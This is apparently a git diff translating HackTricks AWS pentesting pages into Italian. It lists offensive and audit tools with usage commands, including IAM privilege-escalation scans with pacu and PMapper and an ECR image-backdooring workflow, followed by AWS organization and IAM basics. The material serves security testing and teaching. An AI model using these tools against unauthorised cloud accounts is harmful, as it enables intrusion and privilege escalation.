-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- - Note that pacu **only checks your own privescs paths** (not account wide).
-
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Scopri gli utenti più privilegiati nell'ambiente AWS scansionato, inclusi gli AWS Shadow Admins. Utilizza PowerShell. Puoi trovare la **definizione delle politiche privilegiate** nella funzione **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu è un **framework di sfruttamento AWS** open-source, progettato per test di sicurezza offensivi contro ambienti cloud. Può **enumerare**, trovare **configurazioni errate** e **sfruttarle**. Puoi trovare la **definizione dei permessi privilegiati** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) all'interno del dizionario **`user_escalation_methods`**.
+- Nota che pacu **controlla solo i tuoi percorsi di privesc** (non a livello di account).
```bash
# Install
## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
-
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) è uno script e una libreria per identificare i rischi nella configurazione di AWS Identity and Access Management (IAM) per un account AWS o un'organizzazione AWS. Modella i diversi utenti e ruoli IAM in un account come un grafo diretto, il che consente controlli per **l'escalation dei privilegi** e per percorsi alternativi che un attaccante potrebbe seguire per ottenere accesso a una risorsa o azione in AWS. Puoi controllare le **permissive utilizzate per trovare percorsi di privesc** nei nomi dei file che terminano con `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
- It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
-
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining è uno strumento di valutazione della sicurezza AWS IAM che identifica le violazioni del principio del minimo privilegio e genera un rapporto HTML prioritizzato per il rischio.\
+Mostrerà i clienti **eccessivamente privilegiati**, le **politiche** inline e aws e quali **principali hanno accesso a esse**. (Non controlla solo per privesc ma anche altri tipi di permessi interessanti, si consiglia di usarlo).
```bash
# Install
pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
-
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack valuta gli account AWS per **vulnerabilità di hijacking dei sottodomini** a causa di configurazioni disaccoppiate di Route53 e CloudFront.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Elenca i repo ECR -> Estrai il repo ECR -> Inserisci un backdoor -> Invia l'immagine con backdoor
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag è uno strumento che **cerca** attraverso gli snapshot pubblici di Elastic Block Storage (**EBS**) per segreti che potrebbero essere stati accidentalmente lasciati.
### Audit
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
-
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit di Aqua è un progetto open-source progettato per consentire la rilevazione di **rischi di sicurezza nelle infrastrutture cloud** degli account, inclusi: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) e GitHub (non cerca ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
-
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler è uno strumento di sicurezza Open Source per eseguire valutazioni delle migliori pratiche di sicurezza AWS, audit, risposta agli incidenti, monitoraggio continuo, indurimento e prontezza forense.
```bash
# Install python3, jq and git
# Install
@@ -331,15 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
-
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox ti aiuta a ottenere consapevolezza situazionale in ambienti cloud sconosciuti. È uno strumento da riga di comando open source creato per aiutare i penetration tester e altri professionisti della sicurezza offensiva a trovare percorsi di attacco sfruttabili nell'infrastruttura cloud.
```bash
cloudfox aws --profile [profile-name] all-checks
```
-
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
-
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite è uno strumento open source di auditing della sicurezza multi-cloud, che consente la valutazione della postura di sicurezza degli ambienti cloud.
```bash
# Install
virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
# Get info
scout aws -p dev
```
+- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (usa python2.7 e sembra non essere mantenuto)
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus è uno strumento potente per le migliori pratiche di hardening di AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (sembra non essere mantenuto). Controlla solo le credenziali configurate di default all'interno del sistema.
-- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
-- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
+### Audit Costante
-### Constant Audit
-
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
-
-## DEBUG: Capture AWS cli requests
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian è un motore di regole per gestire account e risorse nel cloud pubblico. Permette agli utenti di **definire politiche per abilitare un'infrastruttura cloud ben gestita**, che sia sia sicura che ottimizzata in termini di costi. Consolida molti degli script ad hoc che le organizzazioni hanno in uno strumento leggero e flessibile, con metriche e report unificati.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** è una piattaforma per **monitoraggio continuo della conformità, reportistica sulla conformità e automazione della sicurezza per il clou**d. In PacBot, le politiche di sicurezza e conformità sono implementate come codice. Tutte le risorse scoperte da PacBot vengono valutate rispetto a queste politiche per misurare la conformità alle politiche. Il framework **auto-fix** di PacBot fornisce la possibilità di rispondere automaticamente alle violazioni delle politiche intraprendendo azioni predefinite.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert è un framework di analisi dei dati **in tempo reale** senza server che ti consente di **ingestire, analizzare e avvisare** sui dati provenienti da qualsiasi ambiente, **utilizzando le fonti di dati e la logica di avviso che definisci**. I team di sicurezza informatica utilizzano StreamAlert per scansionare terabyte di dati di log ogni giorno per la rilevazione e risposta agli incidenti.
+## DEBUG: Cattura delle richieste AWS cli
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
-
-## References
+## Riferimenti
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 02e6e7729..9c14f1c65 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,85 +1,79 @@
-# AWS - Basic Information
+# AWS - Informazioni di Base
{{#include ../../../banners/hacktricks-training.md}}
-## Organization Hierarchy
+## Gerarchia dell'Organizzazione
.png>)
-### Accounts
+### Account
-In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
+In AWS c'è un **account root**, che è il **contenitore principale per tutti gli account** della tua **organizzazione**. Tuttavia, non è necessario utilizzare quell'account per distribuire risorse, puoi creare **altri account per separare diverse infrastrutture AWS** tra di loro.
-This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
+Questo è molto interessante dal punto di vista della **sicurezza**, poiché **un account non sarà in grado di accedere alle risorse di un altro account** (a meno che non vengano create specificamente delle bridge), in questo modo puoi creare confini tra le distribuzioni.
-Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
+Pertanto, ci sono **due tipi di account in un'organizzazione** (stiamo parlando di account AWS e non di account utente): un singolo account designato come account di gestione e uno o più account membri.
-- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
+- L'**account di gestione (l'account root)** è l'account che utilizzi per creare l'organizzazione. Dall'account di gestione dell'organizzazione, puoi fare quanto segue:
- - Create accounts in the organization
- - Invite other existing accounts to the organization
- - Remove accounts from the organization
- - Manage invitations
- - Apply policies to entities (roots, OUs, or accounts) within the organization
- - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- - It's possible to login as the root user using the email and password used to create this root account/organization.
+- Creare account nell'organizzazione
+- Invitare altri account esistenti nell'organizzazione
+- Rimuovere account dall'organizzazione
+- Gestire inviti
+- Applicare politiche a entità (root, OU o account) all'interno dell'organizzazione
+- Abilitare l'integrazione con i servizi AWS supportati per fornire funzionalità di servizio a tutti gli account nell'organizzazione.
+- È possibile accedere come utente root utilizzando l'email e la password utilizzate per creare questo account root/organizzazione.
- The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
-
-- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
+L'account di gestione ha le **responsabilità di un account pagatore** ed è responsabile del pagamento di tutte le spese accumulate dagli account membri. Non puoi cambiare l'account di gestione di un'organizzazione.
+- Gli **account membri** costituiscono tutti gli altri account in un'organizzazione. Un account può essere membro di una sola organizzazione alla volta. Puoi allegare una politica a un account per applicare controlli solo a quell'account.
+- Gli account membri **devono utilizzare un indirizzo email valido** e possono avere un **nome**, in generale non saranno in grado di gestire la fatturazione (ma potrebbero ricevere accesso ad essa).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
+### **Unità Organizzative**
-### **Organization Units**
-
-Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
-
+Gli account possono essere raggruppati in **Unità Organizzative (OU)**. In questo modo, puoi creare **politiche** per l'Unità Organizzativa che verranno **applicate a tutti gli account figli**. Tieni presente che un'OU può avere altre OU come figli.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
-
### Service Control Policy (SCP)
-A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
+Una **service control policy (SCP)** è una politica che specifica i servizi e le azioni che gli utenti e i ruoli possono utilizzare negli account che la SCP influisce. Le SCP sono **simili alle politiche di autorizzazione IAM** tranne per il fatto che **non concedono alcuna autorizzazione**. Invece, le SCP specificano le **autorizzazioni massime** per un'organizzazione, un'unità organizzativa (OU) o un account. Quando si allega una SCP alla radice dell'organizzazione o a un'OU, la **SCP limita le autorizzazioni per le entità negli account membri**.
-This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
-The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
+Questo è l'UNICO modo in cui **anche l'utente root può essere bloccato** dal fare qualcosa. Ad esempio, potrebbe essere utilizzato per impedire agli utenti di disabilitare CloudTrail o di eliminare i backup.\
+L'unico modo per bypassare questo è compromettere anche il **master account** che configura le SCP (il master account non può essere bloccato).
> [!WARNING]
-> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
+> Nota che **le SCP limitano solo i principi nell'account**, quindi altri account non sono influenzati. Questo significa che avere una SCP che nega `s3:GetObject` non fermerà le persone dall'**accedere a un bucket S3 pubblico** nel tuo account.
-SCP examples:
+Esempi di SCP:
-- Deny the root account entirely
-- Only allow specific regions
-- Only allow white-listed services
-- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
+- Negare completamente l'account root
+- Consentire solo regioni specifiche
+- Consentire solo servizi in whitelist
+- Negare a GuardDuty, CloudTrail e S3 Public Block Access di
- being disabled
+essere disabilitati
-- Deny security/incident response roles from being deleted or
+- Negare ai ruoli di sicurezza/riposta agli incidenti di essere eliminati o
- modified.
+modificati.
-- Deny backups from being deleted.
-- Deny creating IAM users and access keys
+- Negare l'eliminazione dei backup.
+- Negare la creazione di utenti IAM e chiavi di accesso
-Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
+Trova **esempi JSON** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
### ARN
-**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
-
+**Amazon Resource Name** è il **nome unico** che ogni risorsa all'interno di AWS ha, è composto in questo modo:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-
-Note that there are 4 partitions in AWS but only 3 ways to call them:
+Nota che ci sono 4 partizioni in AWS ma solo 3 modi per chiamarle:
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -88,244 +82,238 @@ Note that there are 4 partitions in AWS but only 3 ways to call them:
## IAM - Identity and Access Management
-IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
+IAM è il servizio che ti permetterà di gestire **Autenticazione**, **Autorizzazione** e **Controllo degli Accessi** all'interno del tuo account AWS.
-- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
-- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
-- **Access Control** - The method and process of how access is granted to a secure resource
+- **Autenticazione** - Processo di definizione di un'identità e la verifica di quell'identità. Questo processo può essere suddiviso in: Identificazione e verifica.
+- **Autorizzazione** - Determina a cosa un'identità può accedere all'interno di un sistema una volta che è stata autenticata.
+- **Controllo degli Accessi** - Il metodo e il processo di come l'accesso è concesso a una risorsa sicura.
-IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
+IAM può essere definito dalla sua capacità di gestire, controllare e governare i meccanismi di autenticazione, autorizzazione e controllo degli accessi delle identità alle tue risorse all'interno del tuo account AWS.
-### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
+### [Utente root dell'account AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
+Quando crei per la prima volta un account Amazon Web Services (AWS), inizi con un'unica identità di accesso che ha **accesso completo a tutti** i servizi e le risorse AWS nell'account. Questo è l'utente _**root**_ dell'account AWS e si accede effettuando il login con **l'indirizzo email e la password che hai usato per creare l'account**.
-Note that a new **admin user** will have **less permissions that the root user**.
+Nota che un nuovo **utente admin** avrà **meno permessi dell'utente root**.
-From a security point of view, it's recommended to create other users and avoid using this one.
+Dal punto di vista della sicurezza, è consigliato creare altri utenti ed evitare di utilizzare questo.
-### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
+### [Utenti IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
+Un _utente_ IAM è un'entità che crei in AWS per **rappresentare la persona o l'applicazione** che lo utilizza per **interagire con AWS**. Un utente in AWS consiste in un nome e credenziali (password e fino a due chiavi di accesso).
-When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
+Quando crei un utente IAM, gli concedi **permessi** rendendolo un **membro di un gruppo di utenti** che ha politiche di permesso appropriate collegate (consigliato), o **allegando direttamente politiche** all'utente.
-Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Gli utenti possono avere **MFA abilitato per il login** tramite la console. I token API degli utenti con MFA abilitato non sono protetti da MFA. Se desideri **limitare l'accesso delle chiavi API di un utente utilizzando MFA**, devi indicare nella politica che per eseguire determinate azioni è necessaria la presenza di MFA (esempio [**qui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
-- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
-- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
+- **ID chiave di accesso**: 20 caratteri alfanumerici casuali in maiuscolo come AKHDNAPO86BSHKDIRYT
+- **ID chiave di accesso segreta**: 40 caratteri casuali in maiuscolo e minuscolo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Non è possibile recuperare gli ID chiave di accesso segreta persi).
-Whenever you need to **change the Access Key** this is the process you should follow:\
-NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
+Ogni volta che hai bisogno di **cambiare la Chiave di Accesso**, questo è il processo che dovresti seguire:\
+NAN;_Crea una nuova chiave di accesso -> Applica la nuova chiave al sistema/applicazione -> contrassegna quella originale come inattiva -> Testa e verifica che la nuova chiave di accesso funzioni -> Elimina la vecchia chiave di accesso_
### MFA - Multi Factor Authentication
-It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
-You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
+Viene utilizzato per **creare un fattore aggiuntivo per l'autenticazione** oltre ai tuoi metodi esistenti, come la password, creando quindi un livello di autenticazione multi-fattore.\
+Puoi utilizzare un **applicazione virtuale gratuita o un dispositivo fisico**. Puoi utilizzare app come Google Authenticator gratuitamente per attivare un MFA in AWS.
-Policies with MFA conditions can be attached to the following:
+Le politiche con condizioni MFA possono essere collegate ai seguenti:
-- An IAM user or group
-- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
-- The trust policy of an IAM role that can be assumed by a user
-
-If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
-Note that **`AssumeRole` credentials don't contain this information**.
+- Un utente o gruppo IAM
+- Una risorsa come un bucket Amazon S3, una coda Amazon SQS o un argomento Amazon SNS
+- La politica di fiducia di un ruolo IAM che può essere assunto da un utente
+Se desideri **accedere tramite CLI** a una risorsa che **controlla per MFA**, devi chiamare **`GetSessionToken`**. Questo ti darà un token con informazioni su MFA.\
+Nota che **le credenziali di `AssumeRole` non contengono queste informazioni**.
```bash
aws sts get-session-token --serial-number --token-code
```
-
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
+As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), ci sono molti casi diversi in cui **MFA non può essere utilizzato**.
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
+Un [gruppo utente IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) è un modo per **allegare politiche a più utenti** contemporaneamente, il che può semplificare la gestione delle autorizzazioni per quegli utenti. **I ruoli e i gruppi non possono far parte di un gruppo**.
-You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
+Puoi allegare una **politica basata sull'identità a un gruppo utente** in modo che tutti gli **utenti** nel gruppo utente **ricevano le autorizzazioni della politica**. Non puoi **identificare un gruppo utente** come un **`Principal`** in una **politica** (come una politica basata sulle risorse) perché i gruppi si riferiscono alle autorizzazioni, non all'autenticazione, e i principal sono entità IAM autenticate.
-Here are some important characteristics of user groups:
+Ecco alcune caratteristiche importanti dei gruppi utente:
-- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
-- **User groups can't be nested**; they can contain only users, not other user groups.
-- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
-- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- Un **gruppo** utente può **contenere molti utenti**, e un **utente** può **appartenere a più gruppi**.
+- **I gruppi utente non possono essere annidati**; possono contenere solo utenti, non altri gruppi utente.
+- Non esiste **un gruppo utente predefinito che include automaticamente tutti gli utenti nell'account AWS**. Se desideri avere un gruppo utente di questo tipo, devi crearlo e assegnare ogni nuovo utente ad esso.
+- Il numero e la dimensione delle risorse IAM in un account AWS, come il numero di gruppi e il numero di gruppi di cui un utente può essere membro, sono limitati. Per ulteriori informazioni, vedere [IAM e le quote di AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
+Un **ruolo IAM** è molto **simile** a un **utente**, in quanto è un'**identità con politiche di autorizzazione che determinano cosa** può e non può fare in AWS. Tuttavia, un ruolo **non ha alcuna credenziale** (password o chiavi di accesso) associata. Invece di essere associato in modo univoco a una persona, un ruolo è destinato a essere **assunto da chiunque ne abbia bisogno (e abbia abbastanza permessi)**. Un **utente IAM può assumere un ruolo per temporaneamente** acquisire autorizzazioni diverse per un compito specifico. Un ruolo può essere **assegnato a un** [**utente federato**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) che accede utilizzando un provider di identità esterno invece di IAM.
-An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
+Un ruolo IAM consiste in **due tipi di politiche**: una **politica di fiducia**, che non può essere vuota, che definisce **chi può assumere** il ruolo, e una **politica di autorizzazione**, che non può essere vuota, che definisce **cosa può accedere**.
#### AWS Security Token Service (STS)
-AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
+AWS Security Token Service (STS) è un servizio web che facilita l'**emissione di credenziali temporanee e con privilegi limitati**. È specificamente progettato per:
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
+**Le credenziali temporanee sono utilizzate principalmente con i ruoli IAM**, ma ci sono anche altri usi. Puoi richiedere credenziali temporanee che hanno un insieme di autorizzazioni più ristretto rispetto al tuo utente IAM standard. Questo **previene** che tu **esegua accidentalmente compiti non consentiti** dalle credenziali più ristrette. Un vantaggio delle credenziali temporanee è che scadono automaticamente dopo un periodo di tempo stabilito. Hai il controllo sulla durata per cui le credenziali sono valide.
### Policies
#### Policy Permissions
-Are used to assign permissions. There are 2 types:
+Vengono utilizzate per assegnare autorizzazioni. Ci sono 2 tipi:
-- AWS managed policies (preconfigured by AWS)
-- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
-
-By **default access** is **denied**, access will be granted if an explicit role has been specified.\
-If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
+- Politiche gestite da AWS (preconfigurate da AWS)
+- Politiche gestite dal cliente: configurate da te. Puoi creare politiche basate su politiche gestite da AWS (modificando una di esse e creando la tua), utilizzando il generatore di politiche (una vista GUI che ti aiuta a concedere e negare autorizzazioni) o scrivendo la tua.
+Per **default l'accesso** è **negato**, l'accesso sarà concesso se è stato specificato un ruolo esplicito.\
+Se **esiste un singolo "Deny", sovrascriverà il "Allow"**, tranne per le richieste che utilizzano le credenziali di sicurezza root dell'account AWS (che sono consentite per impostazione predefinita).
```javascript
{
- "Version": "2012-10-17", //Version of the policy
